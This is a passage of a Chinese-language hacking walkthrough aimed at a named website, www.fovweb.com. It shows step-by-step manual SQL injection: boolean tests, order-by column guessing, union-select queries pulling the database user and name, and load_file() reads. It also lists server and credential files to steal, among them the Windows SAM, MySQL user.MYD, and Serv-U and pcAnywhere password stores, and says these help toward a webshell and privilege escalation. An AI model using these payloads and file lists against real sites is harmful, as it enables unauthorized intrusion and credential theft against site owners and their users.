第二步,开始测试寻找漏洞
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123这种地址,属动态传参的
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
http:// /XXX.php?id=123and 1=1返回正常
http://www.fovweb.com/XXX.php?id=123and 1=2返回错误
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
3、手工注入:
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
3.1 猜测当前表字段数
http://www.fovweb.com/XXX.php?id=123and 1=1 order by10
此处猜测有个简单的算法,都是有技巧的吗,呵呵
算法简单如下:
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
以此来判断,是否过界,配合取中算法猜出字段数。
举例:
http://www.fovweb.com/XXX.php?id=123and 1=1 order by3返回正常
http://www.fovweb.com/XXX.php?id=123and 1=1 order by4返回错误
此时3则为我们要找的字段数。
3.2 配合union联合查询字段在页面所位置
我们已经知道了字段数为3,此时则可以做如下操作:
http://www.fovweb.com/XXX.php?id=123 and 1=2 unionselect 1,2,3
这样就可以测试到哪些字段在页面上有所显示了,如图:
3.3 查敏感信息
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
http://www.fovweb.com/XXX.php?id=123 and 1=2 unionselect 1,user(),database()
3.3.1 先查数据库用户、数据库名,以备后用,如图:
得到数据库用户为root、数据库名为DBxx;
3.3.2 查配置文件
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
查看文件有一定的条件限制:
欲读取文件必须在服务器上
必须指定文件完整的路径
必须有权限读取并且文件必须完全可读
欲读取文件必须小于 max_allowed_packet
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
常用的一些:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码